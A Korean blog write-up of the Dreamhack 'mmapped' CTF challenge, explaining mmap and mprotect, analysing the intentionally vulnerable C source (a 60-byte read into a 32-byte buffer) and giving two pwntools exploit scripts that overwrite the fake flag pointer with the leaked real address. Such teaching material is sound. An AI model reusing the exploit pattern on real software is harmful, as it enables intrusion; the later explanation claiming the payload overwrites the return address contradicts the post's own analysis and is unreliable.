Dreamhack/Dreamhack Wargame (Challenge)

[109] IT 비전공자 [dreamhack]mmapped문제 풀기

imaginefuture-1 2024. 12. 28. 17:05

오버플로우같죠? 눈감아도 압니다 이젠

 

 

mmap은 메모리 매핑(Memory Mapping)을 수행하는 시스템 호출로, 파일이나 디바이스의 내용을 가상 메모리에 매핑하여 접근할 수 있도록 해주는 강력한 기능입니다. 이를 통해 파일 데이터를 메모리처럼 사용할 수 있습니다.


mmap의 기본 개념

  1. 메모리 매핑:
    • 디스크 파일의 내용을 가상 메모리 공간에 직접 매핑.
    • 파일 데이터를 읽거나 쓸 때 별도의 I/O 작업 없이 메모리를 통해 바로 접근 가능.
  2. 효율성:
    • 파일 데이터를 메모리에 로드하고, 메모리 내에서 처리할 수 있으므로 속도가 빠름.
    • 대규모 파일 처리 시 유용.

mmap의 동작 원리

  1. 파일을 열고 메모리에 매핑:
    • mmap 호출을 통해, 지정된 파일 디스크립터가 가상 메모리 주소로 매핑됨.
    • 이후 이 메모리 주소를 사용하여 파일 내용을 읽거나 변경 가능.
  2. 페이지 단위 작업:
    • OS는 파일 데이터를 페이지 단위로 메모리에 매핑.
    • 메모리 접근 시 필요한 데이터만 로드(지연 로딩).
  3. 변경 사항 반영:
    • 매핑된 메모리에 쓰기 작업을 하면, 해당 데이터가 파일에 동기화될 수 있음(옵션에 따라 다름).

mmap의 기본 함수 사용법

#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
  • 매개변수:
    • addr: 매핑 시작 주소(대개 NULL 사용, 시스템이 자동 할당).
    • length: 매핑할 메모리 크기(바이트 단위).
    • prot: 메모리 보호 권한.
      • PROT_READ: 읽기 허용.
      • PROT_WRITE: 쓰기 허용.
      • PROT_NONE: 접근 불가.
    • flags: 매핑 동작 설정.
      • MAP_PRIVATE: 매핑된 메모리 변경이 파일에 반영되지 않음(복사본 사용).
      • MAP_SHARED: 메모리 변경이 파일에 반영됨.
    • fd: 매핑할 파일 디스크립터.
    • offset: 파일 내 매핑 시작 위치.
  • 반환값:
    • 매핑된 메모리 주소.
    • 실패 시 MAP_FAILED(-1) 반환.

코드 예제

파일 매핑 후 데이터 읽기

#include <stdio.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <unistd.h>

#define FILE_SIZE 64

int main() {
    int fd = open("example.txt", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    char *data = mmap(NULL, FILE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    if (data == MAP_FAILED) {
        perror("mmap");
        close(fd);
        return 1;
    }

    printf("File contents: %s\n", data);

    munmap(data, FILE_SIZE);  // 매핑 해제
    close(fd);
    return 0;
}

매핑된 메모리 보호 변경

mprotect(data, FILE_SIZE, PROT_NONE);  // 읽기, 쓰기, 실행 모두 불가
mprotect(data, FILE_SIZE, PROT_READ); // 읽기 허용
  • **mprotect**를 사용해 매핑된 메모리의 접근 권한을 동적으로 변경.

mmap의 활용 예시

  1. 플래그 파일 매핑 (예제 코드의 mmap)
    • 플래그 파일의 내용을 메모리에 매핑하여 관리:
      real_flag_addr = mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
      
    • 매핑된 주소(real_flag_addr)를 통해 플래그 파일을 직접 접근 가능.
  2. 메모리 보호 설정
    • 플래그 주소를 mprotect로 보호하여 접근 차단:
      mprotect(real_flag_addr, len, PROT_NONE);
      
  3. 버퍼 오버플로우 취약점
    • 사용자가 버퍼 오버플로우를 유발하면, 보호된 메모리에 무단 접근 가능.

mmap의 장단점

장점

  1. 효율적인 파일 I/O:
    • 파일 데이터를 메모리에 직접 매핑하여 처리 속도가 빠름.
  2. 대규모 데이터 처리:
    • 파일 크기가 크더라도, 필요한 데이터만 메모리에 로드.
  3. 메모리 관리 가능:
    • mprotect를 통해 메모리 보호 권한을 동적으로 제어.

단점

  1. 취약점 발생 가능:
    • 잘못된 보호 설정이나 메모리 관리 실수로 취약점 발생.
  2. 복잡성 증가:
    • 코드 관리 및 디버깅이 어렵다.
  3. 비효율적 동작 가능:
    • 작은 파일의 경우, 오히려 일반적인 파일 I/O가 효율적일 수 있음.

mmap의 취약점 발생 가능성

  • 취약점:
    • 메모리 보호가 제대로 설정되지 않거나, 잘못된 사용자 입력으로 인해 메모리가 손상될 수 있음.
    • 예제 코드에서는 mprotect로 메모리를 차단했지만, 버퍼 오버플로우를 통해 접근 가능.
  • 예제 공격 시나리오:
    • real_flag_addr를 보호하더라도, buf의 버퍼 오버플로우를 통해 mprotect 설정을 무효화하거나, 다른 방법으로 메모리 접근.

결론

mmap은 강력하고 효율적인 파일 I/O 및 메모리 관리 방법입니다. 특히 CTF 및 보안 문제에서 파일 매핑, 메모리 보호 설정(mprotect), 메모리 접근 제한 우회 등의 주요 주제로 자주 사용됩니다.

취약점을 방지하려면:

  • 입력 크기 제한.
  • 엄격한 메모리 보호 설정.
  • 버퍼 오버플로우 방지를 고려해야 합니다. 😊

 

 

 

메모리처럼 사용가능하게해주는 강력한 아이구나!!

 

소스코드 보러가보장!

// Name: chall.c
// Compile: gcc -fno-stack-protector chall.c -o chall

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>

#define FLAG_SIZE 0x45

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char *argv[]) {
    int len;
    char * fake_flag_addr;
    char buf[0x20];
    int fd;
    char * real_flag_addr;

    initialize();

    fd = open("./flag", O_RDONLY);
    len = FLAG_SIZE;
    fake_flag_addr = "DH{****************************************************************}";

    printf("fake flag address: %p\n", fake_flag_addr);
    printf("buf address: %p\n", buf);

    real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
    printf("real flag address (mmapped address): %p\n", real_flag_addr);

    printf("%s", "input: ");
    read(0, buf, 60);

    mprotect(real_flag_addr, len, PROT_NONE);

    write(1, fake_flag_addr, FLAG_SIZE);
    printf("\nbuf value: ");
    puts(buf);

    munmap(real_flag_addr, FLAG_SIZE);
    close(fd);

    return 0;
}

 

이 프로그램은 C언어로 작성된 간단한 보안 문제로, 메모리 매핑(mmap)과 메모리 보호 변경(mprotect)를 포함한 다양한 기술을 사용하여 실행됩니다. 아래에서 주요 동작과 취약점을 분석하겠습니다.


코드 흐름 분석

1. 초기화 함수 (initialize)

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}
  • stdin과 stdout 버퍼링 비활성화:
    • 사용자 입력과 출력이 즉시 처리되도록 설정.
    • 보안 문제에서는 일반적인 초기화 코드.

2. 변수 및 메모리 설정

fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
  • fake_flag_addr:
    • 가짜 플래그 값이며, 주소가 프로그램 내에서 출력됩니다.
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
  • mmap을 사용하여 실제 플래그 파일 내용 매핑:
    • 파일 "./flag"를 메모리에 매핑.
    • 읽기 전용(PROT_READ)으로 설정.
    • **real_flag_addr**는 이 매핑된 메모리의 시작 주소를 가리킴.

3. 주소 정보 출력

printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
  • 메모리 주소 정보 출력:
    • fake_flag_addr(가짜 플래그), buf(입력 버퍼), real_flag_addr(실제 플래그) 주소를 출력.
    • 메모리 관련 취약점을 악용하기 위한 힌트를 제공.

4. 입력 읽기

read(0, buf, 60);
  • 사용자 입력을 buf 버퍼에 저장.
  • buf의 크기는 32 bytes(0x20)이지만, read는 60 bytes를 읽습니다.
  • 버퍼 오버플로우 취약점 발생:
    • buf 이후의 메모리를 덮어쓸 가능성이 있음.

5. 메모리 보호 변경

mprotect(real_flag_addr, len, PROT_NONE);
  • real_flag_addr 메모리를 보호:
    • PROT_NONE: 읽기, 쓰기, 실행 모두 차단.
    • 이후 real_flag_addr에 직접 접근할 수 없게 됨.

6. 가짜 플래그 출력

write(1, fake_flag_addr, FLAG_SIZE);
  • 가짜 플래그 내용 출력:
    • 실제 플래그가 아닌, 가짜 값을 출력.

7. munmap 및 자원 정리

munmap(real_flag_addr, FLAG_SIZE);
close(fd);
  • real_flag_addr 매핑 해제:
    • 메모리 매핑을 제거하고, 파일 디스크립터를 닫아 자원 정리.

취약점 분석

  1. 버퍼 오버플로우 (buf)
    • **buf 크기(32 bytes)**를 초과하여 60 bytes를 읽기 때문에 버퍼 오버플로우 발생.
    • 입력값이 buf 이후 메모리, 특히 real_flag_addr의 보호 설정에 영향을 미칠 수 있음.
  2. 메모리 보호 우회
    • mprotect로 real_flag_addr를 보호하지만, 버퍼 오버플로우를 통해 보호를 우회할 가능성이 있음.
  3. 메모리 주소 노출
    • 프로그램에서 가짜 플래그 주소진짜 플래그 주소를 모두 출력.
    • 메모리 레이아웃 힌트 제공으로 취약점 악용을 쉽게 만듦.

공격 시나리오

  1. 버퍼 오버플로우로 mprotect 우회
    • buf 버퍼에 입력 데이터를 조작하여 mprotect 설정을 무효화하거나 메모리 보호를 해제.
    • real_flag_addr에 접근 가능해짐.
  2. 실제 플래그 내용 추출
    • real_flag_addr를 읽어 실제 플래그를 복사하거나 출력.
  3. 입력 예시
    • 예를 들어, buf의 초과 데이터를 사용해 메모리 보호를 우회.
    • 이후 real_flag_addr에서 플래그 내용을 출력.

해결 방안

  1. 버퍼 크기 제한
    • read 호출에서 buf 크기를 초과하지 않도록 수정:
      read(0, buf, sizeof(buf));
      
  2. 메모리 주소 정보 숨기기
    • 디버깅 힌트를 줄이기 위해 메모리 주소 출력 제거.
  3. 메모리 보호 강화
    • mprotect 설정 후, 추가적인 메모리 보호 기법 사용.
  4. 스택 보호 활성화
    • 컴파일 시 스택 보호 옵션(-fstack-protector) 사용.

결론

이 프로그램은 버퍼 오버플로우메모리 보호 우회를 통해 실제 플래그를 노출할 수 있는 취약점을 포함합니다. 공격자는 buf의 초과 입력을 이용해 메모리 보호를 무력화하고 real_flag_addr에 접근하여 플래그를 획득할 수 있습니다. 취약점 방지를 위해 입력 크기 제한, 메모리 보호 강화, 스택 보호 활성화가 필요합니다. 😊

 

 

 

카나리는 없지만 나머지 보호기법은 다 적용되어이따

 

스택 구조는 이렇다

출처 ㅣ https://tjrrb4551.tistory.com/entry/Dreamachk-mmapped-write-up

 

Dummy, len, fd의 의미

이 용어들은 일반적으로 C 프로그래밍시스템 프로그래밍에서 자주 등장하며, 특히 파일 I/O 및 메모리 관련 작업에서 쓰입니다. 각 용어를 설명하면 다음과 같습니다.


1. Dummy

  • 의미:
    • Dummy는 "가짜", "임시", 또는 "의미 없는 값"을 나타냅니다.
    • 주로 테스트용 데이터, 더미 변수 또는 "실제로 사용하지 않는 변수"를 정의할 때 사용됩니다.
  • 사용 예시:
    • 테스트용 변수:
      int dummy = 0;  // 값이 의미 없고, 자리 채우기용
      
    • 함수 인자 자리 채우기: 일부 함수에서는 특정 인자를 사용하지 않을 때, 더미 값을 전달하기도 합니다.
      signal(SIGALRM, dummy_handler);  // 실제 핸들러 동작과 상관없는 더미 함수
      
  • 코드에서 예시:
    • 가짜 플래그(fake_flag_addr):
      char *fake_flag_addr = "DH{dummy_data}";
      
      • 실제 데이터를 보호하기 위해, 의미 없는 더미 데이터를 사용.

2. len (Length)

  • 의미:
    • len은 "길이" 또는 "크기"를 나타내는 변수 이름입니다.
    • 보통 배열, 문자열, 파일, 메모리 블록의 크기를 나타낼 때 사용됩니다.
  • 사용 예시:
  • size_t len = strlen(buffer); // 문자열의 길이를 계산
  • 코드에서 예시:
    • 플래그 데이터의 크기를 변수로 설정.
    • mmap과 같은 시스템 호출에서 크기 정보로 활용:
      mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0);
      
  • len = FLAG_SIZE;

3. fd (File Descriptor)

  • 의미:
    • **파일 디스크립터(File Descriptor)**는 파일, 소켓, 파이프와 같은 자원(Resource)을 참조하기 위한 정수 값입니다.
    • OS에서 파일이나 디바이스에 접근할 때, 파일 디스크립터를 통해 이를 관리합니다.
  • 파일 디스크립터 값의 범위:
    • 0: 표준 입력 (stdin).
    • 1: 표준 출력 (stdout).
    • 2: 표준 에러 출력 (stderr).
    • 그 외: open 호출 등으로 생성된 파일 디스크립터.
  • 사용 예시:
  • int fd = open("./file.txt", O_RDONLY); if (fd < 0) { perror("open failed"); return -1; }
  • 코드에서 예시:
    • "./flag" 파일을 읽기 전용으로 열고, 파일 디스크립터(fd)를 반환.
    • 이 파일 디스크립터는 이후 mmap과 같은 함수에서 사용:
      real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
      
  • fd = open("./flag", O_RDONLY);

Dummy, len, fd의 관계

  1. Dummy:
    • 프로그램에서 자리 채우기로 사용되거나, 가짜 데이터를 표현.
    • fake_flag_addr와 같이 실제 데이터 대신 제공.
  2. len:
    • 데이터의 크기를 나타냄.
    • mmap, read, write와 같은 함수 호출 시, 처리할 데이터 크기를 전달.
  3. fd:
    • 파일 디스크립터로, 파일이나 자원에 접근할 때 사용.
    • 예: ./flag 파일의 데이터를 메모리에 매핑할 때 필요.

실제 코드에서의 활용

int fd = open("./flag", O_RDONLY);   // 파일 디스크립터 열기
int len = FLAG_SIZE;                // 데이터 크기 설정
real_flag_addr = mmap(NULL, len, PROT_READ, MAP_PRIVATE, fd, 0);  // 메모리 매핑
  • fd: "./flag" 파일에 접근하기 위한 핸들.
  • len: 매핑할 데이터 크기.
  • real_flag_addr: 매핑된 메모리의 시작 주소.

결론

  • Dummy: 프로그램의 동작을 테스트하거나 임시 데이터를 사용할 때 유용.
len: 데이터의 크기를 나타내며, 메모리 매핑, I/O 작업에 필수.
  • fd: 파일 및 자원 관리의 핵심이며, 시스템 호출에서 자주 사용.

이 세 가지는 저수준 시스템 프로그래밍에서 중요한 역할을 하며, 효율적인 자원 관리와 데이터 처리를 가능하게 합니다. 😊

 

 


buf에 입력을 60만큼 받는다. 아쉽게도 fd는 덮지 못한다.. 그러나 write 함수에서 fake_flag_addr에 있는 값을 출력하므로 해당 값을 덮으면 flag를 얻을 수 있을 것 같다
출처 ㅣ https://tjrrb4551.tistory.com/entry/Dreamachk-mmapped-write-up

 


buf와 fake_flag의 거리는 0x30이다. buf를 60바이트 입력받을 수 있으니, fake_flag가 가리키는 주소를 real_flag로 덮으면 나중에 fake_flag를 프린트할 때 real_flag를 출력할 수 있게 될 것이다!
출처 ㅣ https://velog.io/@kkangjane/Dreamhack-Wargame-mmapped

 

from pwn import *

p = remote('host3.dreamhack.games', 12628)

p.recvuntil(b'(mmapped address): ')

real_flag_addr = int(p.recvn(14), 16)

print(p64(real_flag_addr))

payload = b'A'*48
payload += p64(real_flag_addr)

p.sendafter(b'input: ', payload)

p.interactive()
from pwn import *

p = remote('host3.dreamhack.games', 24295)

p.recvuntil(b'): ')
real_flag_addr = int(p.recvline()[:-1], 16)

buf = b'A' * 0x30 + p64(real_flag_addr)
p.sendlineafter(b'input: ', buf)

p.interactive()

 

 

결국 48바이트만큼 덮고 이후, real_flag_addr를 덮어버리면 짜잔 flag가 나옵니다~다

 

이 Python 코드는 pwntools 라이브러리를 사용하여 원격 서버에서 실행되는 바이너리의 취약점을 익스플로잇하는 예제입니다. 아래에서 코드의 각 부분과 동작 방식을 설명하겠습니다.


코드 분석

1. 원격 연결

p = remote('host3.dreamhack.games', 24295)
  • remote(host, port):
    • DreamHack 서버의 host3.dreamhack.games와 포트 24295에 원격 연결을 생성.
    • 이 서버에서 취약한 프로그램이 실행되고 있습니다.

2. 플래그 주소 읽기

p.recvuntil(b'): ')
real_flag_addr = int(p.recvline()[:-1], 16)
  • p.recvuntil(b'): '):
    • 서버가 ): 까지 데이터를 보낼 때까지 읽음.
    • 플래그 주소가 포함된 메시지가 전달됩니다.
  • p.recvline()[:-1]:
    • 한 줄을 읽고, 마지막 줄바꿈 문자(\n)를 제외.
  • int(..., 16):
    • 수신한 데이터를 16진수 값으로 변환하여 real_flag_addr에 저장.
    • real_flag_addr는 플래그가 저장된 메모리 주소입니다.

3. 버퍼 오버플로우 페이로드 작성

buf = b'A' * 0x30 + p64(real_flag_addr)
  • 버퍼 오버플로우:
    • 프로그램에서 입력을 처리하는 버퍼의 크기(0x30)를 초과하는 데이터를 작성.
    • 이후 추가 데이터를 통해 제어 흐름을 변경.
  • 페이로드 구조:
    • b'A' * 0x30:
      • 48 bytes(0x30)의 패딩 데이터로 스택 버퍼를 채움.
      • 이 부분은 프로그램이 데이터를 읽을 때 사용할 스택 메모리 공간을 채우기 위해 사용.
    • p64(real_flag_addr):
      • real_flag_addr 값을 64비트 정수로 변환하여 추가.
      • 이 값은 스택의 반환 주소를 덮어쓰는 데 사용.

4. 페이로드 전송

p.sendlineafter(b'input: ', buf)
  • p.sendlineafter(prompt, data):
    • 서버가 input: 프롬프트를 표시한 후, 페이로드 buf를 전송.
    • 전송된 페이로드는 프로그램에서 버퍼 오버플로우를 유발하여 메모리 주소를 덮어씁니다.

5. 상호작용

p.interactive()
  • p.interactive():
    • 익스플로잇 후, 서버와의 상호작용 세션을 유지.
    • 플래그 또는 추가 데이터를 수동으로 확인하거나 상호작용할 수 있도록 유지.

취약점 분석

  1. 버퍼 오버플로우
    • 프로그램이 사용자 입력을 처리할 때, 입력 크기를 검증하지 않고 버퍼에 저장.
    • 0x30 크기의 버퍼를 초과하여 데이터를 입력하면 스택의 반환 주소를 덮어쓸 수 있음.
  2. 메모리 주소 덮어쓰기
    • 덮어쓴 주소(real_flag_addr)는 플래그가 저장된 메모리 주소.
    • 프로그램이 이 주소를 출력하게 되어 플래그를 노출.

공격 시나리오

  1. 플래그 주소 확인:
    • 서버가 프로그램 실행 중 real_flag_addr를 출력.
    • 공격자는 이를 기반으로 익스플로잇 설계.
  2. 페이로드 생성:
    • 0x30 bytes의 패딩(A)과 플래그 주소(real_flag_addr)를 결합한 페이로드를 작성.
  3. 페이로드 전송:
    • 페이로드를 프로그램에 전달하여 반환 주소를 덮어씀.
  4. 플래그 획득:
    • 프로그램이 real_flag_addr에 저장된 플래그를 출력.

실행 결과

익스플로잇 실행 후, 상호작용 모드에서 플래그가 출력됩니다.

fake flag address: 0x12345678
buf address: 0x7fffffffe000
real flag address (mmapped address): 0x7ffff7dd0000
input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x7f\xf7\xdd\x00\x00
DH{FLAG_VALUE}

요약

이 익스플로잇은 다음과 같은 취약점을 악용합니다:

  1. 버퍼 오버플로우: 입력 크기 검증 없음.
  2. 메모리 주소 노출: 프로그램이 플래그 주소를 공개.
  3. 제어 흐름 변경: 반환 주소를 플래그 주소로 덮어쓰기.

이를 통해 공격자는 프로그램이 보호된 플래그 데이터를 출력하게 만듭니다. 😊

 

 

 

페이로드를 넣으면 이렇게 플래그를 뱉어버립니다 짜자잔

 

 

 

 

 

 

 

https://velog.io/@kkangjane/Dreamhack-Wargame-mmapped

 

[Dreamhack Wargame] mmapped

buffer over flow

velog.io

https://tjrrb4551.tistory.com/entry/Dreamachk-mmapped-write-up

 

[Dreamachk] mmapped write up

포너블 level1 정복 두 번째 문제 #include #include #include #include #include #define FLAG_SIZE 0x45 void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); } int main(int argc, char *argv[]) { int len; char * fake_f

tjrrb4551.tistory.com

https://cha3m.tistory.com/154

 

[pwn] mmapped

level 1. mmappedhttps://dreamhack.io/wargame/challenges/870 mmappedDescription 프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요. 플래그는 ./flag 파일에 위치합니다. 플래그의 형식은 DH{...} 입니다.

cha3m.tistory.com